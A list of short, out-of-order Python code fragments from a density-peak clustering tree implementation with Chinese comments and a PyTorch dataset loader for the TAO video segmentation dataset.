"is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0): return pairs_nodes else: cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring =",
"更新 self.node_dir, 生成新树: new_tree = DPTree() for i in offspring_id:",
"= np.where(dist_mat[i][offspring_one]>=eps)[0] if len(connected_nodes_index)>0: connected_nodes = np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass return dist,",
"calcu_depth(self,node_id, depth): node = self.node_dir[node_id] parent_id = node.parent_id if(node_id==parent_id): return",
"entropy/(-1*np.log2(1/(len(offspring_id)))) def remove_subtree(self,child_id): ''' 删除 node_id 节点的子树:child_id, 被删除的子树形成新的树并返回 1. 更新",
"parent_id self.dist_to_parent = dist_to_parent self.density = density self.children = children",
"将不直接距离可达的点按层次排列: # not_direct_reach = np.array(not_direct_reach) depth_list_not_direct_reach= np.zeros(len(not_direct_reach),dtype=np.int16) for i in",
"#* 获取子节点个数: offspring_id = tree.get_subtree_offspring_id(node_id,[node_id]) if(len(offspring_id)<local_density[node_id]): uncertain_forest[node_id] = tree.remove_subtree(node_id) pass",
"当前待判断与父节点连通度的点; reliable_nodes:兄弟节点中与父节点直接相连的点; not_reliable_nodes:兄弟节点中不与父节点直接相连的点,但可能间接相连; 连通度判断方案: 1. 判断 cur_node 与 reliable_nodes 是否可达,是则返回;没有则执行2;",
"return pairs_nodes # return pairs_nodes # #* 连通点平均密度大于局部密度阈值,则更新最大相似度 cur_node_offspring =",
"children if i not in not_direct_reach] #* 求得兄弟节点,其中兄弟节点不能是不直接可达的点 not_reliable_nodes =",
"最短距离 2. 小于距离阈值的点集 ''' connected_nodes = np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one])",
"= self.node_dir[node_id] parent_id = node.parent_id if(node_id==parent_id): return depth else: return",
"{} self.sorted_gamma_index = None pass def createTree(self,X,sorted_gamma_index,closest_node_id,closest_dis_denser,local_density,gamma): #* 根据 gamma",
"uncertain_tree = uncertain_forest[uncertain_tree_id] uncertain_nodes_id = uncertain_tree.get_subtree_offspring_id(uncertain_tree_id,[uncertain_tree_id]) all_near_nodes = np.array([],dtype=np.int32) for",
"# all_near_nodes = mixin_near_matrix[uncertain_nodes_id] all_near_nodes = np.unique(all_near_nodes) all_near_nodes = all_near_nodes[np.where(labels[all_near_nodes]!=-1)]",
"not_reliable_nodes(假设为[a,b,c,d,e]) 是否可达,若与[a,b,c]可达,与[d,e]不可达,执行3; 3. 循环遍历[a,b,c],递归调用本方法 is_connected_entropy(……,cur_node_id=[a],reliable_nodes,not_reliable_nodes=[b,c,d,e]) ''' #* 1. if(len(reliable_nodes)==0): return",
"if(node_id in self.node_offspring.keys()): return self.node_offspring[node_id] else: node = self.node_dir[node_id] children",
"self.get_subtree_offspring_id(node_id_two,[node_id_two]) pairs_nodes = [] for i in offspring_two: connected_nodes_index =",
"else: outlier_forest[node_id] = tree.remove_subtree(node_id) pass pass pass end = time.clock()",
"self.node_dir[child_id].parent_id node = self.node_dir[node_id] node.removeChild(child_id) self.node_count = self.node_count-offspring_len #* 删除存储的子孙节点",
"self.node_dir[node_id] children = node.getChildren() child_num = len(children) if(child_num==0): self.node_offspring[node_id] =",
"self.node_dir = {} self.root_node = None self.node_offspring = {} self.sorted_gamma_index",
"2. for i in range(len(not_reliable_nodes)): pairs_nodes, connected_nodes = tree.calcu_neighbor_btw_subtree(cur_node_id,not_reliable_nodes[i],mixin_near_matrix) if(len(pairs_nodes)==0):",
"siblings_reliable = [ i for i in children if i",
"= tree.get_subtree_offspring_id(node_id,[node_id]) if(len(offspring_id)<local_density[node_id]): uncertain_forest[node_id] = tree.remove_subtree(node_id) pass else: cluster_forest[node_id] =",
"pass pass else: outlier_forest[node_id] = tree.remove_subtree(node_id) pass pass pass end",
"= None self.node_offspring = {} self.sorted_gamma_index = None pass def",
"123593): print(node_id) if node_id in tree.sorted_gamma_index[0:10]: cluster_forest[node_id] = tree.remove_subtree(node_id) continue",
"= (local_density[offspring_id]/closest_dis_denser[offspring_id])/p_sum entropy = -1*np.sum(p*np.log2(p)) #* 只有一个点的情况返回 0 if(entropy==0): return",
"3. 生成新树 ''' # print(\"删除子节点:\",child_id) offspring_id = self.get_subtree_offspring_id(child_id,[child_id]) offspring_len =",
"offspring_id: self.node_offspring[node_id].remove(node_to_delete) print(\"删除子孙节点:\",node_to_delete) pass pass # cur_id = child_id #",
"import numpy as np import copy import matplotlib.pyplot as plt",
"None def addChild(self,child): self.children+=[child] def removeChild(self,child): self.children.remove(child) def resetChildren(self): self.children",
"= tree.calcu_depth(not_direct_reach[i],0) pass not_direct_reach = list(not_direct_reach[np.argsort(depth_list_not_direct_reach)]) #* 模拟栈结构,层次深的先处理 start =",
"#* 2. for i in range(len(not_reliable_nodes)): pairs_nodes, connected_nodes = tree.calcu_neighbor_btw_subtree(cur_node_id,not_reliable_nodes[i],mixin_near_matrix)",
"node.getChildren() child_num = len(children) if(child_num==0): self.node_offspring[node_id] = offspring_idlist return offspring_idlist",
"= cluster_tree.get_subtree_offspring_id(tree_id,[tree_id]) labels[cluster_idlist] = label label = label + 1",
"range(len(not_direct_reach)): # depth_list_not_direct_reach[i] = tree.node_dir[not_direct_reach[i]].getLvl() depth_list_not_direct_reach[i] = tree.calcu_depth(not_direct_reach[i],0) pass not_direct_reach",
"self.node_dir = node_dir self.node_count = len(sorted_gamma_index) pass def printTree2(self,parent_id,spaceStr=''): for",
"= new_tree.node_dir[child_id] new_tree.root_node.setParentId(child_id) return new_tree def calcu_dist_betw_subtree(self,node_id_one,node_id_two,dist_mat,eps): ''' 计算两个子树间的连通距离 return:",
"calcu_subtree_entropy(self,offspring_id,local_density,closest_dis_denser): p_sum = np.sum(local_density[offspring_id]/closest_dis_denser[offspring_id]) p = (local_density[offspring_id]/closest_dis_denser[offspring_id])/p_sum entropy = -1*np.sum(p*np.log2(p))",
"= self.node_dir[node_id] children = node.getChildren() child_num = len(children) if(child_num==0): self.node_offspring[node_id]",
"siblings_reliable.remove(node_id) pairs_nodes = is_connected_new(tree,local_density,dc_eps,node_id,siblings_reliable,not_reliable_nodes,mixin_near_matrix) if len(pairs_nodes)==0: if(node_id==tree.root_node.node_id): continue if(local_density[node_id]-mean_density*dc_eps)>=0: #*",
"= Node(parent_id,X[parent_id],parent_id=None,dist_to_parent=closest_dis_denser[parent_id],density=local_density[parent_id],gamma=gamma[parent_id],children=[]) node_created[parent_id] = 1 node_dir[parent_id] = parent_node parent_node =",
"plt import time def split_cluster_new(tree,local_density,dc_eps,closest_denser_nodes_id,mixin_near_matrix): ''' dc_eps: density_connectivity 阈值 使用父子节点的直接距离,与子节点与兄弟节点的连通距离进行聚簇划分;",
"np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) dist = float('inf')",
"= np.array([],dtype=np.int32) for node_id in uncertain_nodes_id: all_near_nodes = np.append(all_near_nodes,mixin_near_matrix[node_id]) pass",
"# #* 连通点平均密度大于局部密度阈值,则更新最大相似度 cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring = np.mean(local_density[cur_node_offspring]) local_density_connected_nodes",
"= np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes if(len(pairs_nodes)==0): pairs_nodes = is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0):",
"def get_subtree_offspring_id(self,node_id,other_idlist): ''' 获取所有子孙的node_id 考虑:是否需要存储在node属性中。 ''' def fn_get_subtree_offspring_id(node_id,offspring_idlist): if(node_id in",
"= tree.remove_subtree(node_id) pass pass pass end = time.clock() print('切割树耗时 %s'",
"labels = np.full((node_num),-1,dtype=np.int32) for outlier_id in outlier_forest: outlier_tree = outlier_forest[outlier_id]",
"= self.node_dir.pop(i) new_tree.node_dir[i] = removed_node pass new_tree.node_count = offspring_len new_tree.root_node",
"self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) dist = -1 for i in",
"mean_density = np.mean(local_density) outlier_forest = {} cluster_forest = {} uncertain_forest",
"return self.lvl class DPTree(): def __init__(self): self.node_count = 0 self.node_dir",
"connected_nodes_index = np.where(dist_mat[i][offspring_one]>=eps)[0] if len(connected_nodes_index)>0: connected_nodes = np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass return",
"return self.gamma def getChildren(self): return self.children def hasChildren(self,child_id): if child_id",
"tmp_dist pass connected_nodes_index = np.where(dist_mat[i][offspring_one]<eps)[0] if len(connected_nodes_index)>0: connected_nodes = np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]]",
"connected_nodes = np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) dist",
"label_these_node_new(outlier_forest,cluster_forest,node_num,uncertain_forest,mixin_near_matrix): ''' 给森林中的样本点贴标签 考虑不确定点的分配 ''' labels = np.full((node_num),-1,dtype=np.int32) for outlier_id",
"%s' % str(end - start)) cluster_forest[tree.root_node.node_id] = tree #* 添加根节点的树",
"if(len(pairs_nodes)==0): continue # return pairs_nodes cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring =",
"np.array(not_direct_reach) depth_list_not_direct_reach= np.zeros(len(not_direct_reach),dtype=np.int16) for i in range(len(not_direct_reach)): # depth_list_not_direct_reach[i] =",
"cluster_forest[tree.root_node.node_id] = tree #* 添加根节点的树 return outlier_forest, cluster_forest, uncertain_forest def",
"= {} not_direct_reach = [] #* 计算不可直接可达的点: for k in",
"getGamma(self): return self.gamma def getChildren(self): return self.children def hasChildren(self,child_id): if",
"= parent_node.parent_id # pass #* 更新 self.node_dir, 生成新树: new_tree =",
"# print(\"删除子节点:\",child_id) offspring_id = self.get_subtree_offspring_id(child_id,[child_id]) offspring_len = len(offspring_id) node_id =",
"self.node_dir[node_id] if(node.parent_id==parent_id): print(spaceStr, node.node_id, sep = '') self.printTree2(node.node_id,spaceStr+' ') pass",
"= mixin_near_matrix[uncertain_nodes_id] all_near_nodes = np.unique(all_near_nodes) all_near_nodes = all_near_nodes[np.where(labels[all_near_nodes]!=-1)] unique_labels,counts=np.unique(labels[all_near_nodes],return_counts=True) if(len(counts)==0):",
"''' labels = np.full((node_num),-1,dtype=np.int32) for outlier_id in outlier_forest: outlier_tree =",
"parent_id):#* 非根节点 parent_node.addChild(node_id) # parent_lvl = parent_node.getLvl() # cur_node.setLvl(parent_lvl+1) else:",
"new_tree.node_count = offspring_len new_tree.root_node = new_tree.node_dir[child_id] new_tree.root_node.setParentId(child_id) return new_tree def",
"else: cur_label = unique_labels[np.argmax(counts)] labels[uncertain_nodes_id]=cur_label pass core_points = cluster_forest.keys() return",
"in tree.node_dir: # pass self.root_node = node_dir[sorted_gamma_index[0]] self.node_dir = node_dir",
"for i in children if i not in not_direct_reach] #*",
"get_subtree_offspring_id(self,node_id,other_idlist): ''' 获取所有子孙的node_id 考虑:是否需要存储在node属性中。 ''' def fn_get_subtree_offspring_id(node_id,offspring_idlist): if(node_id in self.node_offspring.keys()):",
"float('inf') for i in offspring_two: tmp_dist = np.min(dist_mat[i][offspring_one]) if(tmp_dist<dist): dist",
"core_points = cluster_forest.keys() return labels,core_points ''' 密度峰值树; 根据cfsfdp算法生成的局部密度、高密度最近邻距离、决策指标来生成 DPTree; '''",
"self.node_dir[node_id] cur_offsprings = node.getOffspringNum() if(cur_offsprings!=None): return cur_offsprings child_num = len(node.children)",
"in near_nodes: not_direct_reach.append(k) pass not_direct_reach = np.array(not_direct_reach) # not_direct_reach =",
"# return pairs_nodes # #* 连通点平均密度大于局部密度阈值,则更新最大相似度 cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring",
"not_direct_reach = [] #* 计算不可直接可达的点: for k in range(len(closest_denser_nodes_id)): near_nodes",
"if len(pairs_nodes)==0: if(node_id==tree.root_node.node_id): continue if(local_density[node_id]-mean_density*dc_eps)>=0: #* 获取子节点个数: offspring_id = tree.get_subtree_offspring_id(node_id,[node_id])",
"返回: outlier_forest cluster_forest ''' mean_density = np.mean(local_density) outlier_forest = {}",
"= np.zeros(len(sorted_gamma_index)) self.sorted_gamma_index = sorted_gamma_index for i in range(len(sorted_gamma_index)): node_id",
"-1 for i in offspring_two: tmp_dist = np.max(dist_mat[i][offspring_one]) if(tmp_dist>=dist): dist",
"dist, np.unique(connected_nodes) def calcu_depth(self,node_id, depth): node = self.node_dir[node_id] parent_id =",
"outlier_id in outlier_forest: outlier_tree = outlier_forest[outlier_id] outlier_idlist = outlier_tree.get_subtree_offspring_id(outlier_id,[outlier_id]) labels[outlier_idlist]",
"= self.get_subtree_offspring_id(node_id_two,[node_id_two]) dist = float('inf') for i in offspring_two: tmp_dist",
"all_near_nodes[np.where(labels[all_near_nodes]!=-1)] unique_labels,counts=np.unique(labels[all_near_nodes],return_counts=True) if(len(counts)==0): cur_label = -1 else: cur_label = unique_labels[np.argmax(counts)]",
"def getGamma(self): return self.gamma def getChildren(self): return self.children def hasChildren(self,child_id):",
"len(node.children) if(child_num==0): return 0 for i in node.children: cur_offsprings =",
"pass return dist, np.unique(connected_nodes) def calcu_depth(self,node_id, depth): node = self.node_dir[node_id]",
"np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) dist = -1",
"cluster_forest: cluster_tree = cluster_forest[tree_id] cluster_idlist = cluster_tree.get_subtree_offspring_id(tree_id,[tree_id]) labels[cluster_idlist] = label",
"def label_these_node_new(outlier_forest,cluster_forest,node_num,uncertain_forest,mixin_near_matrix): ''' 给森林中的样本点贴标签 考虑不确定点的分配 ''' labels = np.full((node_num),-1,dtype=np.int32) for",
"np.where(dist_mat[i][offspring_one]>=eps)[0] if len(connected_nodes_index)>0: connected_nodes = np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass return dist, np.unique(connected_nodes)",
"tmp_dist pass connected_nodes_index = np.where(dist_mat[i][offspring_one]>=eps)[0] if len(connected_nodes_index)>0: connected_nodes = np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]]",
"len(connected_nodes_index)>0: connected_nodes = np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass return dist, np.unique(connected_nodes) def calcu_depth(self,node_id,",
"模拟栈结构,层次深的先处理 start = time.clock() while(len(not_direct_reach)>0): #* 判断是否 连通:距离小于阈值,并且密度要大于子树的平均密度 node_id =",
"self.lvl = None def addChild(self,child): self.children+=[child] def removeChild(self,child): self.children.remove(child) def",
"#* 设置节点层次信息 # for i in tree.node_dir: # pass self.root_node",
"not_direct_reach] #* 求得兄弟节点,其中兄弟节点不能是不直接可达的点 not_reliable_nodes = [i for i in children",
"# parent_id = node_id # #* 设置父级 offspring_num: # while(cur_id!=parent_id):",
"offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) pairs_nodes = [] for i in offspring_two:",
"new_tree = DPTree() for i in offspring_id: removed_node = self.node_dir.pop(i)",
"in self.node_offspring.keys()): for node_to_delete in offspring_id: self.node_offspring[node_id].remove(node_to_delete) print(\"删除子孙节点:\",node_to_delete) pass pass",
"dist = float('inf') for i in offspring_two: tmp_dist = np.min(dist_mat[i][offspring_one])",
"sep = '') self.printTree2(node.node_id,spaceStr+' ') pass def calcu_subtree_offspring_num(self,node_id): node =",
"return: 1. 最大相似距离 2. 大于相似距离阈值的点集 ''' connected_nodes = np.array([],dtype=np.int32) offspring_one",
"connected_nodes = np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass return dist, np.unique(connected_nodes) def calcu_depth(self,node_id, depth):",
"tree.node_dir[not_direct_reach[i]].getLvl() depth_list_not_direct_reach[i] = tree.calcu_depth(not_direct_reach[i],0) pass not_direct_reach = list(not_direct_reach[np.argsort(depth_list_not_direct_reach)]) #* 模拟栈结构,层次深的先处理",
"if(len(reliable_nodes)==0): return [] for reliable_node_id in reliable_nodes: pairs_nodes, connected_nodes =",
"pass self.node_offspring[node_id] = offspring_idlist return offspring_idlist offspring_idlist = fn_get_subtree_offspring_id(node_id,[]) return",
"= node.getChildren() child_num = len(children) if(child_num==0): self.node_offspring[node_id] = offspring_idlist return",
"parent_node parent_node = node_dir[parent_id] cur_node = node_dir[node_id] if(node_id != parent_id):#*",
"= unique_labels[np.argmax(counts)] labels[uncertain_nodes_id]=cur_label pass core_points = cluster_forest.keys() return labels,core_points '''",
"= len(sorted_gamma_index) pass def printTree2(self,parent_id,spaceStr=''): for node_id in self.node_dir: if(node_id==self.root_node.node_id):",
"= all_near_nodes[np.where(labels[all_near_nodes]!=-1)] unique_labels,counts=np.unique(labels[all_near_nodes],return_counts=True) if(len(counts)==0): cur_label = -1 else: cur_label =",
"children for i in children: child_offspring_idlist = fn_get_subtree_offspring_id(i,[]) self.node_offspring[i] =",
"i in range(len(sorted_gamma_index)): node_id = sorted_gamma_index[i] parent_id = closest_node_id[node_id] #*",
"list(offspring_idlist) + child_offspring_idlist pass self.node_offspring[node_id] = offspring_idlist return offspring_idlist offspring_idlist",
"= np.sum(local_density[offspring_id]/closest_dis_denser[offspring_id]) p = (local_density[offspring_id]/closest_dis_denser[offspring_id])/p_sum entropy = -1*np.sum(p*np.log2(p)) #* 只有一个点的情况返回",
"in reliable_nodes: pairs_nodes, connected_nodes = tree.calcu_neighbor_btw_subtree(cur_node_id,reliable_node_id,mixin_near_matrix) if(len(pairs_nodes)==0): continue # return",
"parent_id # parent_id = parent_node.parent_id # pass #* 更新 self.node_dir,",
"删除 node_id 节点的子树:child_id, 被删除的子树形成新的树并返回 1. 更新 self.node_dir, self.node_count 2. 更新",
"1. 最大相似距离 2. 大于相似距离阈值的点集 ''' connected_nodes = np.array([],dtype=np.int32) offspring_one =",
"def calcu_depth(self,node_id, depth): node = self.node_dir[node_id] parent_id = node.parent_id if(node_id==parent_id):",
"__init__(self,node_id,attr_list,parent_id=None,dist_to_parent=None,density=None,gamma=None,children=[]): self.node_id = node_id self.attr_list = attr_list self.parent_id = parent_id",
"sorted_gamma_index for i in range(len(sorted_gamma_index)): node_id = sorted_gamma_index[i] parent_id =",
"+ other_idlist) def calcu_subtree_entropy(self,offspring_id,local_density,closest_dis_denser): p_sum = np.sum(local_density[offspring_id]/closest_dis_denser[offspring_id]) p = (local_density[offspring_id]/closest_dis_denser[offspring_id])/p_sum",
"#* 设置父级 offspring_num: # while(cur_id!=parent_id): # parent_node = self.node_dir[parent_id] #",
"np.array(pairs_nodes), np.unique(np.array(pairs_nodes).flatten()) def calcu_dist_betw_subtree_entropy(self,node_id_one,node_id_two,dist_mat,eps): ''' 计算两个子树间的连通距离 return: 1. 最大相似距离 2.",
"entropy = -1*np.sum(p*np.log2(p)) #* 只有一个点的情况返回 0 if(entropy==0): return 0 return",
"pairs_nodes = is_connected_new(tree,local_density,dc_eps,node_id,siblings_reliable,not_reliable_nodes,mixin_near_matrix) if len(pairs_nodes)==0: if(node_id==tree.root_node.node_id): continue if(local_density[node_id]-mean_density*dc_eps)>=0: #* 获取子节点个数:",
"= {} uncertain_forest = {} not_direct_reach = [] #* 计算不可直接可达的点:",
"pairs_nodes pass #* 2. for i in range(len(not_reliable_nodes)): pairs_nodes, connected_nodes",
"= np.min(dist_mat[i][offspring_one]) if(tmp_dist<dist): dist = tmp_dist pass connected_nodes_index = np.where(dist_mat[i][offspring_one]<eps)[0]",
"node.parent_id parent_node = tree.node_dir[parent_id] children = parent_node.getChildren() siblings_reliable = [",
"def calcu_subtree_entropy(self,offspring_id,local_density,closest_dis_denser): p_sum = np.sum(local_density[offspring_id]/closest_dis_denser[offspring_id]) p = (local_density[offspring_id]/closest_dis_denser[offspring_id])/p_sum entropy =",
"def addChild(self,child): self.children+=[child] def removeChild(self,child): self.children.remove(child) def resetChildren(self): self.children =",
"self.node_dir: if(node_id==self.root_node.node_id): continue node = self.node_dir[node_id] if(node.parent_id==parent_id): print(spaceStr, node.node_id, sep",
"self.printTree2(node.node_id,spaceStr+' ') pass def calcu_subtree_offspring_num(self,node_id): node = self.node_dir[node_id] cur_offsprings =",
"2. 判断 cur_node 与 not_reliable_nodes(假设为[a,b,c,d,e]) 是否可达,若与[a,b,c]可达,与[d,e]不可达,执行3; 3. 循环遍历[a,b,c],递归调用本方法 is_connected_entropy(……,cur_node_id=[a],reliable_nodes,not_reliable_nodes=[b,c,d,e]) '''",
"= np.array(not_direct_reach) # not_direct_reach = np.where(closest_dis_denser>eps)[0] #* 将不直接距离可达的点按层次排列: # not_direct_reach",
"for tree_id in cluster_forest: cluster_tree = cluster_forest[tree_id] cluster_idlist = cluster_tree.get_subtree_offspring_id(tree_id,[tree_id])",
"根据 gamma 顺序新建节点 node_dir = {} node_created = np.zeros(len(sorted_gamma_index)) self.sorted_gamma_index",
"uncertain_forest[uncertain_tree_id] uncertain_nodes_id = uncertain_tree.get_subtree_offspring_id(uncertain_tree_id,[uncertain_tree_id]) all_near_nodes = np.array([],dtype=np.int32) for node_id in",
"hasChildren(self,child_id): if child_id in self.children: return True else: return False",
"= node_dir[parent_id] cur_node = node_dir[node_id] if(node_id != parent_id):#* 非根节点 parent_node.addChild(node_id)",
"np.where(dist_mat[i][offspring_one]<eps)[0] if len(connected_nodes_index)>0: connected_nodes = np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass return dist, np.unique(connected_nodes)",
"return self.node_id def getParentId(self): return self.parent_id def getDistToParent(self): return self.dist_to_parent",
"大于相似距离阈值的点集 ''' connected_nodes = np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two =",
"np.max(dist_mat[i][offspring_one]) if(tmp_dist>=dist): dist = tmp_dist pass connected_nodes_index = np.where(dist_mat[i][offspring_one]>=eps)[0] if",
"i in offspring_two: connected_nodes_index = np.intersect1d(mixin_near_matrix[i],offspring_one) if len(connected_nodes_index)>0: for j",
"cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring = np.mean(local_density[cur_node_offspring]) local_density_connected_nodes = np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps):",
"len(connected_nodes_index)>0: for j in connected_nodes_index: pairs_nodes.append([i,j]) pass pass if(len(pairs_nodes)==0): return",
"''' 计算两个子树间的连通距离 return: 1. 最短距离 2. 小于距离阈值的点集 ''' connected_nodes =",
"pass self.root_node = node_dir[sorted_gamma_index[0]] self.node_dir = node_dir self.node_count = len(sorted_gamma_index)",
"= self.node_dir[node_id] cur_offsprings = node.getOffspringNum() if(cur_offsprings!=None): return cur_offsprings child_num =",
"return self.children def hasChildren(self,child_id): if child_id in self.children: return True",
"[] def label_these_node_new(outlier_forest,cluster_forest,node_num,uncertain_forest,mixin_near_matrix): ''' 给森林中的样本点贴标签 考虑不确定点的分配 ''' labels = np.full((node_num),-1,dtype=np.int32)",
"outlier_tree.get_subtree_offspring_id(outlier_id,[outlier_id]) labels[outlier_idlist] = -1 pass label = 0 for tree_id",
"False def getOffspringNum(self): return self.offspring_num def getLvl(self): return self.lvl class",
"in cluster_forest: cluster_tree = cluster_forest[tree_id] cluster_idlist = cluster_tree.get_subtree_offspring_id(tree_id,[tree_id]) labels[cluster_idlist] =",
"''' 密度峰值树; 根据cfsfdp算法生成的局部密度、高密度最近邻距离、决策指标来生成 DPTree; ''' class Node(): def __init__(self,node_id,attr_list,parent_id=None,dist_to_parent=None,density=None,gamma=None,children=[]): self.node_id",
"self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) dist = float('inf') for i in",
"= is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0): return pairs_nodes else: cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring"
] |
[
"┎───────────────┲───────────────┲───────────────┒ | | | | frame0 frame1 frame2 frame3 frame4",
"0: raise ValueError(\"start must be positive. Got {0}.\".format(stride)) if not",
"of type %r instead\" raise TypeError(msg % type(videos)) self.RGB_data =",
"self.Seg_data.append([seg_list[ind] for ind in inds]) if self.return_points: self.Points_data.append([points_list[ind] for ind",
"to use for each sequence of frames. Default: 4 dilation",
"ValueError(\"start must be positive. Got {0}.\".format(stride)) if not (end is",
"raise TypeError(\"stride must be int or None. Got {0}.\".format(type(stride))) if",
"in file_names] if self.return_points: points_list = [os.path.join(os.path.join(pointsdir, video), x.replace('.jpg','.pkl')) for",
"height (int): Spatial height to resize frames to. Default: 480",
"code-block:: sequence0 ┎───────────────┲───────────────┲───────────────┒ | | | | frame0 frame1 frame2",
"1)` (non-overlapping sequences). Default: None start (int or None): Index",
"seg_list = [os.path.join(os.path.join(segdir, video), x.replace('.jpg','.png')) for x in file_names] video_len",
"Index of the frame at which to stop extracting sequences",
"self.Points_data.append([points_list[ind] for ind in inds]) if self.return_videonames: self.Videonames_data.append(video) self.num_sequences =",
"= 640, *, return_img: bool = True, return_seg: bool =",
"Default: True return_points (bool): Determines whether to return SuperPoint Features.",
"directory containing the directories from TAO. videos (str or tuple",
"from the sequence at index idx. Returns: color_seq (torch.Tensor): Sequence",
"every video. If None, will continue extracting frames until the",
"(isinstance(end, int) or end is None): raise TypeError(\"end must be",
"(bool): Determines whether to return SuperPoint Features. Default: False return_videonames",
"ann_mask = np.isin(instance_img, obj_id).astype(int) ann['ann_mask'] = ann_mask frame_ann.append(ann) seg_seq.append(frame_ann) if",
"+ idx self.RGB_data.append([rgb_list[ind] for ind in inds]) if self.return_seg: self.Seg_data.append([seg_list[ind]",
"{0}.\".format(type(start))) if not (isinstance(end, int) or end is None): raise",
"= self.Points_data[idx] color_seq, seg_seq, points_seq = [], [], [] for",
"dilation is not None else 0 stride = stride if",
"color info. if self.return_img: color_seq_path = self.RGB_data[idx] if self.return_seg: seg_seq_path",
"image.permute(2,0,1) image /= 255 color_seq.append(image) if self.return_seg: instance_img = np.array(Image.open(seg_seq_path[i]))",
"= return_points self.return_videonames = return_videonames if not isinstance(seqlen, int): raise",
"cv2 import numpy as np import PIL.Image as Image import",
"None, end: Optional[int] = None, height: int = 480, width:",
"int): raise TypeError(\"seqlen must be int. Got {0}.\".format(type(seqlen))) if not",
"tuple(f.read().split(\"\\n\")) else: raise ValueError(\"incorrect filename: {} doesn't exist\".format(videos)) elif not",
"a Video Seqeunce name, a tuple of scene names. seqlen",
"[f for f in sorted(os.listdir(os.path.join(rgbdir, video))) if f.endswith('.jpg')] rgb_list =",
"(used for creating train/val/test splits). Can be path to a",
"> start): raise ValueError( \"end ({0}) must be None or",
"start = start if start is not None else 0",
"rgb images of each frame seg_seq (torch.Tensor): Sequence of instance",
"< 0: raise ValueError(\"seqlen must be positive. Got {0}.\".format(seqlen)) if",
"SuperPoint Features with length `L` \"\"\" # Read in the",
"if self.return_points: points_list = [os.path.join(os.path.join(pointsdir, video), x.replace('.jpg','.pkl')) for x in",
"int) or end is None): raise TypeError(\"end must be int",
"for loading in `the TAO VOS dataset <https://www.vision.rwth-aachen.de/page/taovos/>`_. Will fetch",
"for x in file_names] if self.return_points: points_list = [os.path.join(os.path.join(pointsdir, video),",
"present in the frames points_seq (torch.Tensor): Sequence of SuperPoint Features",
"(isinstance(stride, int) or stride is None): raise TypeError(\"stride must be",
"Got {0}.\".format(type(seqlen))) if not (isinstance(stride, int) or stride is None):",
"[\"TAO\"] class TAO(data.Dataset): r\"\"\"A torch Dataset for loading in `the",
"frames in the extracted sequence. See above example if unsure.",
"should be a tuple if isinstance(videos, str): if os.path.isfile(videos): with",
"# Read in the color info. if self.return_img: color_seq_path =",
"SuperPoint features (optional). Example of sequence creation from frames with",
"must be int or None. Got {0}.\".format(type(stride))) if not (isinstance(dilation,",
"output = [] if self.return_img: color_seq = torch.stack(color_seq, 0).float() output.append(color_seq)",
"None, will start from the first frame. Default: None end",
"self.return_points: points_seq_path = self.Points_data[idx] color_seq, seg_seq, points_seq = [], [],",
"sequences (used for creating train/val/test splits). Can be path to",
"Read in the color info. if self.return_img: color_seq_path = self.RGB_data[idx]",
"ann_mask frame_ann.append(ann) seg_seq.append(frame_ann) if self.return_points: with open(points_seq_path[i],'rb') as fp: points",
"= True, return_points: bool = False, return_videonames: bool = False,",
"to return instance segmentation labels. Default: True return_points (bool): Determines",
"if self.return_seg: seg_seq_path = self.Seg_data[idx] if self.return_points: points_seq_path = self.Points_data[idx]",
"else 0 self.start = start self.end = end if start",
"<https://www.vision.rwth-aachen.de/page/taovos/>`_. Will fetch sequences of rgb images, instance segmentation labels,",
"x) for x in file_names] if self.return_points: points_list = [os.path.join(os.path.join(pointsdir,",
"self.Seg_data[idx] if self.return_points: points_seq_path = self.Points_data[idx] color_seq, seg_seq, points_seq =",
"if self.return_points: self.Points_data.append([points_list[ind] for ind in inds]) if self.return_videonames: self.Videonames_data.append(video)",
"raise ValueError(\"Base Directory: {} doesn't exist\".format(basedir)) self.height = height self.width",
"__getitem__(self, idx: int): r\"\"\"Returns the data from the sequence at",
"self.Seg_data = [] self.Points_data = [] self.Videonames_data = [] idx",
"Path to the base directory containing the directories from TAO.",
